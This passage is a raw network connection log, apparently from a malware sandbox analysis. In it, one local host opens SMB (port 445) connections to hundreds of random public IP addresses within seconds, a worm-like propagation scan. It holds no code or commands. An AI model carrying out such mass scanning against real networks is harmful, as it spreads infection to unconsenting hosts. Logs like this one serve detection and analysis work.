Jul 20, 2022 09:11:02.882421970 CEST	59692	445	192.168.2.6	28.158.174.134
Jul 20, 2022 09:11:02.882457018 CEST	59693	445	192.168.2.6	75.78.10.5
Jul 20, 2022 09:11:02.882518053 CEST	59694	445	192.168.2.6	38.141.114.9
Jul 20, 2022 09:11:02.892802954 CEST	59696	445	192.168.2.6	199.62.140.227
Jul 20, 2022 09:11:02.937738895 CEST	59699	445	192.168.2.6	78.202.111.5
Jul 20, 2022 09:11:02.942845106 CEST	59701	445	192.168.2.6	135.214.66.234
Jul 20, 2022 09:11:02.948297024 CEST	59712	445	192.168.2.6	95.160.14.82
Jul 20, 2022 09:11:02.948534966 CEST	59723	445	192.168.2.6	59.83.140.120
Jul 20, 2022 09:11:02.948589087 CEST	59724	445	192.168.2.6	174.196.132.82
Jul 20, 2022 09:11:03.518399954 CEST	59727	445	192.168.2.6	185.147.213.24
Jul 20, 2022 09:11:03.519387960 CEST	59728	445	192.168.2.6	18.119.139.21
Jul 20, 2022 09:11:03.787486076 CEST	59730	445	192.168.2.6	190.209.59.250
Jul 20, 2022 09:11:03.787538052 CEST	59731	445	192.168.2.6	130.69.252.133
Jul 20, 2022 09:11:03.787635088 CEST	59733	445	192.168.2.6	91.232.176.188
Jul 20, 2022 09:11:03.787813902 CEST	59738	445	192.168.2.6	54.118.252.93
Jul 20, 2022 09:11:03.815565109 CEST	59740	445	192.168.2.6	105.141.64.238
Jul 20, 2022 09:11:03.820419073 CEST	445	59733	91.232.176.188	192.168.2.6
Jul 20, 2022 09:11:03.831372976 CEST	59746	445	192.168.2.6	11.230.210.181
Jul 20, 2022 09:11:03.832077026 CEST	59747	445	192.168.2.6	169.212.82.240
Jul 20, 2022 09:11:03.832756042 CEST	59748	445	192.168.2.6	178.233.187.1
Jul 20, 2022 09:11:03.838953972 CEST	59757	445	192.168.2.6	18.87.215.250
Jul 20, 2022 09:11:03.840327024 CEST	59759	445	192.168.2.6	223.70.197.182
Jul 20, 2022 09:11:03.841025114 CEST	59760	445	192.168.2.6	34.47.153.247
Jul 20, 2022 09:11:03.842556000 CEST	59762	445	192.168.2.6	192.166.61.133
Jul 20, 2022 09:11:03.843900919 CEST	59764	445	192.168.2.6	12.246.129.53
Jul 20, 2022 09:11:03.854356050 CEST	59777	445	192.168.2.6	44.196.161.202
Jul 20, 2022 09:11:03.897655964 CEST	59781	445	192.168.2.6	176.6.117.181
Jul 20, 2022 09:11:04.018789053 CEST	59792	445	192.168.2.6	4.106.80.10
Jul 20, 2022 09:11:04.028976917 CEST	59795	445	192.168.2.6	129.143.130.136
Jul 20, 2022 09:11:04.028990030 CEST	59794	445	192.168.2.6	115.38.84.24
Jul 20, 2022 09:11:04.029057980 CEST	59796	445	192.168.2.6	1.167.205.175
Jul 20, 2022 09:11:04.029107094 CEST	59797	445	192.168.2.6	158.175.173.71
Jul 20, 2022 09:11:04.029143095 CEST	59798	445	192.168.2.6	115.26.211.225
Jul 20, 2022 09:11:04.029167891 CEST	59799	445	192.168.2.6	82.14.73.36
Jul 20, 2022 09:11:04.029218912 CEST	59800	445	192.168.2.6	30.148.187.126
Jul 20, 2022 09:11:04.033725977 CEST	59803	445	192.168.2.6	53.87.235.162
Jul 20, 2022 09:11:04.063033104 CEST	59806	445	192.168.2.6	115.70.231.155
Jul 20, 2022 09:11:04.063117981 CEST	59808	445	192.168.2.6	113.254.30.200
Jul 20, 2022 09:11:04.063739061 CEST	59816	445	192.168.2.6	132.84.50.215
Jul 20, 2022 09:11:04.064291000 CEST	59826	445	192.168.2.6	40.82.194.78
Jul 20, 2022 09:11:04.337138891 CEST	59733	445	192.168.2.6	91.232.176.188
Jul 20, 2022 09:11:04.367830992 CEST	445	59733	91.232.176.188	192.168.2.6
Jul 20, 2022 09:11:04.596968889 CEST	59832	445	192.168.2.6	185.147.213.25
Jul 20, 2022 09:11:04.597675085 CEST	59833	445	192.168.2.6	18.119.139.22
Jul 20, 2022 09:11:04.927829027 CEST	59835	445	192.168.2.6	100.51.11.118
Jul 20, 2022 09:11:04.928559065 CEST	59836	445	192.168.2.6	169.57.47.40
Jul 20, 2022 09:11:04.942224979 CEST	59839	445	192.168.2.6	217.51.218.49
Jul 20, 2022 09:11:04.942686081 CEST	59844	445	192.168.2.6	48.45.191.167
Jul 20, 2022 09:11:04.945070028 CEST	59845	445	192.168.2.6	61.125.199.108
Jul 20, 2022 09:11:05.008035898 CEST	59851	445	192.168.2.6	182.167.122.134
Jul 20, 2022 09:11:05.009562969 CEST	59853	445	192.168.2.6	121.152.223.195
Jul 20, 2022 09:11:05.010840893 CEST	59855	445	192.168.2.6	13.89.99.245
Jul 20, 2022 09:11:05.011508942 CEST	59856	445	192.168.2.6	12.26.54.170
Jul 20, 2022 09:11:05.012861013 CEST	59858	445	192.168.2.6	152.8.60.71
Jul 20, 2022 09:11:05.021692991 CEST	59867	445	192.168.2.6	21.145.29.62
Jul 20, 2022 09:11:05.027759075 CEST	59868	445	192.168.2.6	20.179.68.141
Jul 20, 2022 09:11:05.057410955 CEST	59869	445	192.168.2.6	168.90.84.208
Jul 20, 2022 09:11:05.087301970 CEST	59881	445	192.168.2.6	7.46.50.215
Jul 20, 2022 09:11:05.087707996 CEST	59893	445	192.168.2.6	197.236.141.235
Jul 20, 2022 09:11:05.129050016 CEST	59895	445	192.168.2.6	102.68.154.240
Jul 20, 2022 09:11:05.130383015 CEST	59897	445	192.168.2.6	66.207.159.11
Jul 20, 2022 09:11:05.130997896 CEST	59898	445	192.168.2.6	167.125.113.173
Jul 20, 2022 09:11:05.131637096 CEST	59899	445	192.168.2.6	44.135.38.84
Jul 20, 2022 09:11:05.157126904 CEST	59900	445	192.168.2.6	166.159.11.198
Jul 20, 2022 09:11:05.162122965 CEST	59901	445	192.168.2.6	54.228.105.252
Jul 20, 2022 09:11:05.162798882 CEST	59902	445	192.168.2.6	146.156.37.205
Jul 20, 2022 09:11:05.195749998 CEST	59903	445	192.168.2.6	116.140.186.21
Jul 20, 2022 09:11:05.213047981 CEST	59907	445	192.168.2.6	40.86.177.177
Jul 20, 2022 09:11:05.213135004 CEST	59911	445	192.168.2.6	99.108.107.130
Jul 20, 2022 09:11:05.213228941 CEST	59914	445	192.168.2.6	200.27.47.210
Jul 20, 2022 09:11:05.213437080 CEST	59921	445	192.168.2.6	118.170.225.5
Jul 20, 2022 09:11:05.213747025 CEST	59931	445	192.168.2.6	155.116.97.222
Jul 20, 2022 09:11:05.675251007 CEST	59936	445	192.168.2.6	18.119.139.23
Jul 20, 2022 09:11:05.675340891 CEST	59937	445	192.168.2.6	185.147.213.26
Jul 20, 2022 09:11:06.052414894 CEST	59945	445	192.168.2.6	137.35.89.16
Jul 20, 2022 09:11:06.053072929 CEST	59946	445	192.168.2.6	17.139.169.81
Jul 20, 2022 09:11:06.056211948 CEST	59951	445	192.168.2.6	174.6.170.77
Jul 20, 2022 09:11:06.058864117 CEST	59954	445	192.168.2.6	1.166.90.97
Jul 20, 2022 09:11:06.059151888 CEST	59955	445	192.168.2.6	210.193.172.168
Jul 20, 2022 09:11:06.127146959 CEST	59956	445	192.168.2.6	53.122.251.8
Jul 20, 2022 09:11:06.128384113 CEST	59958	445	192.168.2.6	54.67.179.33
Jul 20, 2022 09:11:06.129637003 CEST	59960	445	192.168.2.6	11.0.60.197
Jul 20, 2022 09:11:06.130249023 CEST	59961	445	192.168.2.6	217.106.247.74
Jul 20, 2022 09:11:06.131475925 CEST	59963	445	192.168.2.6	44.224.68.108
Jul 20, 2022 09:11:06.145680904 CEST	59972	445	192.168.2.6	1.164.173.53
Jul 20, 2022 09:11:06.146539927 CEST	59973	445	192.168.2.6	114.110.249.164
Jul 20, 2022 09:11:06.251159906 CEST	59211	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:11:06.280374050 CEST	59976	445	192.168.2.6	146.239.141.249
Jul 20, 2022 09:11:06.280416965 CEST	59977	445	192.168.2.6	98.112.219.131
Jul 20, 2022 09:11:06.280780077 CEST	59988	445	192.168.2.6	81.13.195.113
Jul 20, 2022 09:11:06.281166077 CEST	60000	445	192.168.2.6	111.49.108.3
Jul 20, 2022 09:11:06.281210899 CEST	60002	445	192.168.2.6	117.38.200.250
Jul 20, 2022 09:11:06.281266928 CEST	60003	445	192.168.2.6	138.241.96.41
Jul 20, 2022 09:11:06.281280041 CEST	60004	445	192.168.2.6	187.118.0.249
Jul 20, 2022 09:11:06.281929970 CEST	60005	445	192.168.2.6	5.155.65.51
Jul 20, 2022 09:11:06.281996965 CEST	60007	445	192.168.2.6	216.199.206.113
Jul 20, 2022 09:11:06.282288074 CEST	60006	445	192.168.2.6	61.214.239.245
Jul 20, 2022 09:11:06.389914036 CEST	60012	445	192.168.2.6	205.9.82.110
Jul 20, 2022 09:11:06.390010118 CEST	60015	445	192.168.2.6	34.14.182.157
Jul 20, 2022 09:11:06.390300989 CEST	60025	445	192.168.2.6	161.71.11.29
Jul 20, 2022 09:11:06.410784006 CEST	60032	445	192.168.2.6	112.47.187.193
Jul 20, 2022 09:11:06.411226034 CEST	60040	445	192.168.2.6	209.166.44.229
Jul 20, 2022 09:11:06.411514997 CEST	60035	445	192.168.2.6	39.30.2.100
Jul 20, 2022 09:11:06.804908991 CEST	60042	445	192.168.2.6	18.119.139.24
Jul 20, 2022 09:11:06.805589914 CEST	60043	445	192.168.2.6	185.147.213.27
Jul 20, 2022 09:11:06.953313112 CEST	445	60042	18.119.139.24	192.168.2.6
Jul 20, 2022 09:11:07.179771900 CEST	60051	445	192.168.2.6	194.36.161.87
Jul 20, 2022 09:11:07.179997921 CEST	60057	445	192.168.2.6	156.15.231.198
Jul 20, 2022 09:11:07.179997921 CEST	60052	445	192.168.2.6	70.31.235.66
Jul 20, 2022 09:11:07.180095911 CEST	60060	445	192.168.2.6	42.168.214.36
Jul 20, 2022 09:11:07.180118084 CEST	60061	445	192.168.2.6	56.189.18.127
Jul 20, 2022 09:11:07.238352060 CEST	60062	445	192.168.2.6	50.34.13.208
Jul 20, 2022 09:11:07.254179955 CEST	60064	445	192.168.2.6	117.105.143.76
Jul 20, 2022 09:11:07.259995937 CEST	60066	445	192.168.2.6	195.29.83.96
Jul 20, 2022 09:11:07.259998083 CEST	60067	445	192.168.2.6	105.248.139.15
Jul 20, 2022 09:11:07.260056019 CEST	60069	445	192.168.2.6	87.74.182.55
Jul 20, 2022 09:11:07.269222975 CEST	60078	445	192.168.2.6	194.156.34.124
Jul 20, 2022 09:11:07.269243956 CEST	60079	445	192.168.2.6	1.10.179.77
Jul 20, 2022 09:11:07.394965887 CEST	60080	445	192.168.2.6	191.199.131.27
Jul 20, 2022 09:11:07.404795885 CEST	60081	445	192.168.2.6	114.199.49.2
Jul 20, 2022 09:11:07.405015945 CEST	60091	445	192.168.2.6	96.166.240.62
Jul 20, 2022 09:11:07.405369043 CEST	60105	445	192.168.2.6	49.72.206.132
Jul 20, 2022 09:11:07.405451059 CEST	60107	445	192.168.2.6	71.78.160.45
Jul 20, 2022 09:11:07.405495882 CEST	60106	445	192.168.2.6	48.108.38.118
Jul 20, 2022 09:11:07.405534029 CEST	60109	445	192.168.2.6	46.116.46.23
Jul 20, 2022 09:11:07.405538082 CEST	60108	445	192.168.2.6	153.85.151.98
Jul 20, 2022 09:11:07.405630112 CEST	60112	445	192.168.2.6	55.101.243.33
Jul 20, 2022 09:11:07.405633926 CEST	60110	445	192.168.2.6	31.203.177.136
Jul 20, 2022 09:11:07.454363108 CEST	60042	445	192.168.2.6	18.119.139.24
Jul 20, 2022 09:11:07.535311937 CEST	60117	445	192.168.2.6	120.165.228.47
Jul 20, 2022 09:11:07.536648989 CEST	60119	445	192.168.2.6	126.135.152.190
Jul 20, 2022 09:11:07.542851925 CEST	60128	445	192.168.2.6	122.241.35.22
Jul 20, 2022 09:11:07.547049046 CEST	60134	445	192.168.2.6	33.24.182.124
Jul 20, 2022 09:11:07.549211979 CEST	60137	445	192.168.2.6	112.36.22.210
Jul 20, 2022 09:11:07.552864075 CEST	60142	445	192.168.2.6	197.236.55.160
Jul 20, 2022 09:11:07.604218006 CEST	445	60042	18.119.139.24	192.168.2.6
Jul 20, 2022 09:11:07.861711025 CEST	60148	445	192.168.2.6	18.119.139.25
Jul 20, 2022 09:11:07.862427950 CEST	60149	445	192.168.2.6	185.147.213.28
Jul 20, 2022 09:11:08.286305904 CEST	60156	445	192.168.2.6	46.65.6.143
Jul 20, 2022 09:11:08.303349972 CEST	60158	445	192.168.2.6	20.147.157.147
Jul 20, 2022 09:11:08.309365034 CEST	60164	445	192.168.2.6	147.5.115.164
Jul 20, 2022 09:11:08.309434891 CEST	60167	445	192.168.2.6	160.230.15.252
Jul 20, 2022 09:11:08.309499979 CEST	60166	445	192.168.2.6	119.124.70.198
Jul 20, 2022 09:11:08.346051931 CEST	60168	445	192.168.2.6	72.71.78.72
Jul 20, 2022 09:11:08.379899025 CEST	60173	445	192.168.2.6	87.111.221.90
Jul 20, 2022 09:11:08.380321026 CEST	60175	445	192.168.2.6	15.153.157.211
Jul 20, 2022 09:11:08.381771088 CEST	60177	445	192.168.2.6	131.121.25.87
Jul 20, 2022 09:11:08.382688999 CEST	60178	445	192.168.2.6	222.157.117.68
Jul 20, 2022 09:11:08.383414984 CEST	60179	445	192.168.2.6	22.142.43.189
Jul 20, 2022 09:11:08.508130074 CEST	60186	445	192.168.2.6	175.132.148.247
Jul 20, 2022 09:11:08.530875921 CEST	60193	445	192.168.2.6	27.86.146.178
Jul 20, 2022 09:11:08.530944109 CEST	60194	445	192.168.2.6	98.85.78.89
Jul 20, 2022 09:11:08.531054020 CEST	60196	445	192.168.2.6	103.202.174.8
Jul 20, 2022 09:11:08.531059980 CEST	60192	445	192.168.2.6	150.154.102.149
Jul 20, 2022 09:11:08.531116009 CEST	60195	445	192.168.2.6	19.209.72.219
Jul 20, 2022 09:11:08.531136036 CEST	60197	445	192.168.2.6	217.189.13.73
Jul 20, 2022 09:11:08.531222105 CEST	60198	445	192.168.2.6	177.21.124.180
Jul 20, 2022 09:11:08.531688929 CEST	60215	445	192.168.2.6	211.105.208.138
Jul 20, 2022 09:11:08.531881094 CEST	60209	445	192.168.2.6	7.7.165.75
Jul 20, 2022 09:11:08.662477970 CEST	60223	445	192.168.2.6	102.59.154.101
Jul 20, 2022 09:11:08.663422108 CEST	60229	445	192.168.2.6	153.17.219.219
Jul 20, 2022 09:11:08.669934988 CEST	60238	445	192.168.2.6	22.251.114.211
Jul 20, 2022 09:11:08.671284914 CEST	60240	445	192.168.2.6	97.9.104.26
Jul 20, 2022 09:11:08.676285028 CEST	60246	445	192.168.2.6	75.16.95.57
Jul 20, 2022 09:11:08.686865091 CEST	60251	445	192.168.2.6	79.187.103.131
Jul 20, 2022 09:11:08.990417957 CEST	60255	445	192.168.2.6	18.119.139.26
Jul 20, 2022 09:11:08.991666079 CEST	60256	445	192.168.2.6	185.147.213.29
Jul 20, 2022 09:11:09.247993946 CEST	59313	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:11:09.248164892 CEST	59313	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:11:09.248178959 CEST	443	59313	20.199.120.151	192.168.2.6
Jul 20, 2022 09:11:09.248574972 CEST	59313	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:11:09.280832052 CEST	443	59313	20.199.120.151	192.168.2.6
Jul 20, 2022 09:11:09.280925035 CEST	443	59313	20.199.120.151	192.168.2.6
Jul 20, 2022 09:11:09.281004906 CEST	59313	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:11:09.281239986 CEST	59313	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:11:09.281256914 CEST	443	59313	20.199.120.151	192.168.2.6
Jul 20, 2022 09:11:09.444255114 CEST	60262	445	192.168.2.6	143.107.236.70
Jul 20, 2022 09:11:09.444365025 CEST	60264	445	192.168.2.6	33.175.17.34
Jul 20, 2022 09:11:09.444614887 CEST	60271	445	192.168.2.6	147.24.149.86
Jul 20, 2022 09:11:09.444658995 CEST	60272	445	192.168.2.6	195.164.235.230
Jul 20, 2022 09:11:09.444724083 CEST	60273	445	192.168.2.6	169.23.55.55
Jul 20, 2022 09:11:09.456953049 CEST	60276	445	192.168.2.6	147.232.250.192
Jul 20, 2022 09:11:09.489588976 CEST	60280	445	192.168.2.6	85.94.47.221
Jul 20, 2022 09:11:09.490302086 CEST	60281	445	192.168.2.6	90.7.229.250
Jul 20, 2022 09:11:09.491055965 CEST	60282	445	192.168.2.6	72.84.187.17
Jul 20, 2022 09:11:09.492391109 CEST	60284	445	192.168.2.6	169.167.87.54
Jul 20, 2022 09:11:09.493731022 CEST	60286	445	192.168.2.6	22.227.161.72
Jul 20, 2022 09:11:09.494119883 CEST	60285	445	192.168.2.6	182.247.126.48
Jul 20, 2022 09:11:09.611725092 CEST	60293	445	192.168.2.6	13.168.8.55
Jul 20, 2022 09:11:09.660170078 CEST	60298	445	192.168.2.6	49.134.40.226
Jul 20, 2022 09:11:09.660223007 CEST	60299	445	192.168.2.6	170.252.197.101
Jul 20, 2022 09:11:09.660311937 CEST	60300	445	192.168.2.6	147.143.78.165
Jul 20, 2022 09:11:09.660371065 CEST	60301	445	192.168.2.6	100.2.129.171
Jul 20, 2022 09:11:09.660455942 CEST	60302	445	192.168.2.6	138.195.254.107
Jul 20, 2022 09:11:09.660515070 CEST	60303	445	192.168.2.6	199.251.253.185
Jul 20, 2022 09:11:09.660588026 CEST	60304	445	192.168.2.6	137.210.142.12
Jul 20, 2022 09:11:09.661097050 CEST	60317	445	192.168.2.6	78.231.35.211
Jul 20, 2022 09:11:09.661314011 CEST	60322	445	192.168.2.6	108.226.161.154
Jul 20, 2022 09:11:09.822170019 CEST	60334	445	192.168.2.6	131.111.215.128
Jul 20, 2022 09:11:09.822484970 CEST	60340	445	192.168.2.6	60.204.57.23
Jul 20, 2022 09:11:09.823010921 CEST	60350	445	192.168.2.6	149.6.198.39
Jul 20, 2022 09:11:09.823158026 CEST	60351	445	192.168.2.6	172.245.14.50
Jul 20, 2022 09:11:09.823318958 CEST	60355	445	192.168.2.6	159.72.182.26
Jul 20, 2022 09:11:09.823596954 CEST	60359	445	192.168.2.6	31.219.253.189
Jul 20, 2022 09:11:10.049938917 CEST	60362	445	192.168.2.6	185.147.213.30
Jul 20, 2022 09:11:10.050765038 CEST	60363	445	192.168.2.6	18.119.139.27
Jul 20, 2022 09:11:10.565857887 CEST	60369	445	192.168.2.6	212.68.83.176
Jul 20, 2022 09:11:10.567256927 CEST	60371	445	192.168.2.6	136.52.22.150
Jul 20, 2022 09:11:10.591686010 CEST	60378	445	192.168.2.6	179.162.156.240
Jul 20, 2022 09:11:10.591743946 CEST	60379	445	192.168.2.6	68.180.231.157
Jul 20, 2022 09:11:10.591809034 CEST	60380	445	192.168.2.6	96.220.180.208
Jul 20, 2022 09:11:10.630456924 CEST	60388	445	192.168.2.6	198.105.157.78
Jul 20, 2022 09:11:10.631284952 CEST	60389	445	192.168.2.6	66.6.17.48
Jul 20, 2022 09:11:10.632093906 CEST	60390	445	192.168.2.6	77.160.36.80
Jul 20, 2022 09:11:10.641092062 CEST	60392	445	192.168.2.6	25.145.135.183
Jul 20, 2022 09:11:10.642072916 CEST	60393	445	192.168.2.6	109.96.34.124
Jul 20, 2022 09:11:10.646712065 CEST	60394	445	192.168.2.6	95.34.149.202
Jul 20, 2022 09:11:10.647923946 CEST	60397	445	192.168.2.6	47.176.218.98
Jul 20, 2022 09:11:10.737246990 CEST	60401	445	192.168.2.6	66.108.154.136
Jul 20, 2022 09:11:10.785521030 CEST	60402	445	192.168.2.6	179.127.186.199
Jul 20, 2022 09:11:10.786211014 CEST	60403	445	192.168.2.6	210.186.75.217
Jul 20, 2022 09:11:10.786904097 CEST	60404	445	192.168.2.6	22.116.144.159
Jul 20, 2022 09:11:10.787559032 CEST	60405	445	192.168.2.6	198.44.20.28
Jul 20, 2022 09:11:10.788259983 CEST	60406	445	192.168.2.6	173.212.152.152
Jul 20, 2022 09:11:10.789567947 CEST	60408	445	192.168.2.6	47.162.150.51
Jul 20, 2022 09:11:10.848622084 CEST	60415	445	192.168.2.6	142.201.247.212
Jul 20, 2022 09:11:10.849594116 CEST	60421	445	192.168.2.6	212.109.90.41
Jul 20, 2022 09:11:10.850219965 CEST	60434	445	192.168.2.6	106.187.175.248
Jul 20, 2022 09:11:10.940052032 CEST	60437	445	192.168.2.6	37.218.107.253
Jul 20, 2022 09:11:10.942634106 CEST	60441	445	192.168.2.6	207.134.189.126
Jul 20, 2022 09:11:10.945179939 CEST	60445	445	192.168.2.6	201.169.32.192
Jul 20, 2022 09:11:10.987241030 CEST	60452	445	192.168.2.6	196.87.162.171
Jul 20, 2022 09:11:10.987471104 CEST	60458	445	192.168.2.6	192.178.189.102
Jul 20, 2022 09:11:10.987740993 CEST	60468	445	192.168.2.6	164.11.57.144
Jul 20, 2022 09:11:11.127358913 CEST	60470	445	192.168.2.6	185.147.213.31
Jul 20, 2022 09:11:11.128072977 CEST	60471	445	192.168.2.6	18.119.139.28
Jul 20, 2022 09:11:11.251800060 CEST	445	60452	196.87.162.171	192.168.2.6
Jul 20, 2022 09:11:11.767205954 CEST	60452	445	192.168.2.6	196.87.162.171
Jul 20, 2022 09:11:11.773366928 CEST	60481	445	192.168.2.6	10.126.142.48
Jul 20, 2022 09:11:11.773397923 CEST	60482	445	192.168.2.6	219.43.149.167
Jul 20, 2022 09:11:11.773472071 CEST	60483	445	192.168.2.6	110.65.224.102
Jul 20, 2022 09:11:11.773672104 CEST	60489	445	192.168.2.6	29.125.93.18
Jul 20, 2022 09:11:11.773706913 CEST	60490	445	192.168.2.6	174.54.92.30
Jul 20, 2022 09:11:11.773782015 CEST	60491	445	192.168.2.6	111.161.247.193
Jul 20, 2022 09:11:11.773883104 CEST	60493	445	192.168.2.6	102.7.100.162
Jul 20, 2022 09:11:11.773957014 CEST	60495	445	192.168.2.6	96.14.188.241
Jul 20, 2022 09:11:11.778193951 CEST	60501	445	192.168.2.6	78.47.100.92
Jul 20, 2022 09:11:11.778351068 CEST	60505	445	192.168.2.6	41.176.143.136
Jul 20, 2022 09:11:11.778357029 CEST	60506	445	192.168.2.6	80.159.107.29
Jul 20, 2022 09:11:11.778429985 CEST	60507	445	192.168.2.6	115.45.197.211
Jul 20, 2022 09:11:11.849011898 CEST	60509	445	192.168.2.6	22.142.107.190
Jul 20, 2022 09:11:11.891444921 CEST	445	60452	196.87.162.171	192.168.2.6
Jul 20, 2022 09:11:11.893233061 CEST	60510	445	192.168.2.6	157.4.211.104
Jul 20, 2022 09:11:11.893935919 CEST	60511	445	192.168.2.6	189.106.254.36
Jul 20, 2022 09:11:11.894603014 CEST	60512	445	192.168.2.6	24.245.127.224
Jul 20, 2022 09:11:11.897515059 CEST	60513	445	192.168.2.6	175.222.230.208
Jul 20, 2022 09:11:11.897605896 CEST	60514	445	192.168.2.6	132.254.137.96
Jul 20, 2022 09:11:11.897677898 CEST	60516	445	192.168.2.6	62.50.158.110
Jul 20, 2022 09:11:11.975836992 CEST	60523	445	192.168.2.6	186.103.161.187
Jul 20, 2022 09:11:11.985248089 CEST	60529	445	192.168.2.6	46.65.141.207
Jul 20, 2022 09:11:11.985629082 CEST	60542	445	192.168.2.6	161.72.172.147
Jul 20, 2022 09:11:12.070928097 CEST	60546	445	192.168.2.6	121.5.216.209
Jul 20, 2022 09:11:12.071242094 CEST	60550	445	192.168.2.6	15.160.59.92
Jul 20, 2022 09:11:12.071378946 CEST	60554	445	192.168.2.6	9.248.8.72
Jul 20, 2022 09:11:12.111839056 CEST	60556	445	192.168.2.6	38.205.155.186
Jul 20, 2022 09:11:12.128995895 CEST	60565	445	192.168.2.6	176.17.247.143
Jul 20, 2022 09:11:12.129225969 CEST	60571	445	192.168.2.6	114.98.48.71
Jul 20, 2022 09:11:12.205689907 CEST	60578	445	192.168.2.6	185.147.213.32
Jul 20, 2022 09:11:12.205741882 CEST	60579	445	192.168.2.6	18.119.139.29
Jul 20, 2022 09:11:12.905991077 CEST	60589	445	192.168.2.6	61.175.69.253
Jul 20, 2022 09:11:12.906092882 CEST	60592	445	192.168.2.6	8.103.217.62
Jul 20, 2022 09:11:12.906291962 CEST	60598	445	192.168.2.6	147.95.5.112
Jul 20, 2022 09:11:12.906404018 CEST	60600	445	192.168.2.6	108.245.89.237
Jul 20, 2022 09:11:12.906495094 CEST	60603	445	192.168.2.6	100.1.40.199
Jul 20, 2022 09:11:12.906506062 CEST	60599	445	192.168.2.6	149.80.62.163
Jul 20, 2022 09:11:12.906760931 CEST	60611	445	192.168.2.6	179.130.249.224
Jul 20, 2022 09:11:12.906810045 CEST	60613	445	192.168.2.6	19.184.222.80
Jul 20, 2022 09:11:12.906877041 CEST	60615	445	192.168.2.6	222.94.60.253
Jul 20, 2022 09:11:12.906920910 CEST	60616	445	192.168.2.6	97.69.106.142
Jul 20, 2022 09:11:12.907949924 CEST	60591	445	192.168.2.6	174.100.140.80
Jul 20, 2022 09:11:12.907969952 CEST	60604	445	192.168.2.6	100.86.228.45
Jul 20, 2022 09:11:12.981719971 CEST	60618	445	192.168.2.6	118.192.167.40
Jul 20, 2022 09:11:13.019032001 CEST	60621	445	192.168.2.6	75.132.77.59
Jul 20, 2022 09:11:13.019562960 CEST	60622	445	192.168.2.6	179.111.99.53
Jul 20, 2022 09:11:13.021034956 CEST	60625	445	192.168.2.6	43.65.212.23
Jul 20, 2022 09:11:13.021555901 CEST	60626	445	192.168.2.6	28.55.188.253
Jul 20, 2022 09:11:13.022083998 CEST	60627	445	192.168.2.6	153.17.37.77
Jul 20, 2022 09:11:13.022587061 CEST	60628	445	192.168.2.6	25.183.179.185
Jul 20, 2022 09:11:13.084424973 CEST	445	60591	174.100.140.80	192.168.2.6
Jul 20, 2022 09:11:13.098015070 CEST	60632	445	192.168.2.6	99.12.158.142
Jul 20, 2022 09:11:13.117269993 CEST	60640	445	192.168.2.6	119.76.220.11
Jul 20, 2022 09:11:13.117660046 CEST	60653	445	192.168.2.6	171.13.75.213
Jul 20, 2022 09:11:13.200612068 CEST	60654	445	192.168.2.6	140.47.44.83
Jul 20, 2022 09:11:13.201065063 CEST	60660	445	192.168.2.6	193.28.167.22
Jul 20, 2022 09:11:13.201136112 CEST	60661	445	192.168.2.6	119.192.196.192
Jul 20, 2022 09:11:13.238006115 CEST	60666	445	192.168.2.6	78.243.238.14
Jul 20, 2022 09:11:13.269783020 CEST	60670	445	192.168.2.6	18.119.139.30
Jul 20, 2022 09:11:13.270332098 CEST	60671	445	192.168.2.6	185.147.213.33
Jul 20, 2022 09:11:13.318810940 CEST	60675	445	192.168.2.6	214.54.208.198
Jul 20, 2022 09:11:13.319080114 CEST	60681	445	192.168.2.6	207.17.148.74
Jul 20, 2022 09:11:13.517363071 CEST	58751	445	192.168.2.6	201.187.246.6
Jul 20, 2022 09:11:13.595442057 CEST	60591	445	192.168.2.6	174.100.140.80
Jul 20, 2022 09:11:13.772279024 CEST	445	60591	174.100.140.80	192.168.2.6
Jul 20, 2022 09:11:13.783041000 CEST	58712	445	192.168.2.6	201.187.246.6
Jul 20, 2022 09:11:14.143091917 CEST	60691	445	192.168.2.6	221.86.180.30
Jul 20, 2022 09:11:14.143177032 CEST	60693	445	192.168.2.6	1.6.200.131
Jul 20, 2022 09:11:14.143268108 CEST	60694	445	192.168.2.6	72.166.244.132
Jul 20, 2022 09:11:14.143364906 CEST	60696	445	192.168.2.6	70.137.189.204
Jul 20, 2022 09:11:14.143424034 CEST	60697	445	192.168.2.6	54.210.247.125
Jul 20, 2022 09:11:14.143984079 CEST	60705	445	192.168.2.6	182.225.131.62
Jul 20, 2022 09:11:14.144057035 CEST	60706	445	192.168.2.6	189.178.142.67
Jul 20, 2022 09:11:14.144155025 CEST	60708	445	192.168.2.6	187.194.149.232
Jul 20, 2022 09:11:14.144252062 CEST	60710	445	192.168.2.6	129.176.235.89
Jul 20, 2022 09:11:14.144437075 CEST	60716	445	192.168.2.6	84.67.127.114
Jul 20, 2022 09:11:14.145492077 CEST	60722	445	192.168.2.6	2.87.236.197
Jul 20, 2022 09:11:14.145561934 CEST	60723	445	192.168.2.6	78.237.158.146
Jul 20, 2022 09:11:14.151083946 CEST	60729	445	192.168.2.6	178.214.95.173
Jul 20, 2022 09:11:14.151132107 CEST	60730	445	192.168.2.6	70.164.230.251
Jul 20, 2022 09:11:14.151240110 CEST	60733	445	192.168.2.6	30.69.252.192
Jul 20, 2022 09:11:14.151310921 CEST	60734	445	192.168.2.6	77.116.219.111
Jul 20, 2022 09:11:14.151365042 CEST	60735	445	192.168.2.6	169.84.109.78
Jul 20, 2022 09:11:14.151448011 CEST	60736	445	192.168.2.6	218.186.193.100
Jul 20, 2022 09:11:14.189306974 CEST	59211	445	192.168.2.6	155.101.152.2
Jul 20, 2022 09:11:14.224088907 CEST	60743	445	192.168.2.6	215.2.118.149
Jul 20, 2022 09:11:14.225622892 CEST	60746	445	192.168.2.6	151.238.34.69
Jul 20, 2022 09:11:14.230668068 CEST	60757	445	192.168.2.6	70.12.192.209
Jul 20, 2022 09:11:14.322534084 CEST	60763	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:14.334388971 CEST	60767	445	192.168.2.6	111.100.109.111
Jul 20, 2022 09:11:14.334891081 CEST	60768	445	192.168.2.6	167.202.119.0
Jul 20, 2022 09:11:14.337754011 CEST	60774	445	192.168.2.6	155.5.55.43
Jul 20, 2022 09:11:14.357578039 CEST	445	60708	187.194.149.232	192.168.2.6
Jul 20, 2022 09:11:14.415020943 CEST	60775	445	192.168.2.6	18.119.139.31
Jul 20, 2022 09:11:14.415595055 CEST	60776	445	192.168.2.6	185.147.213.34
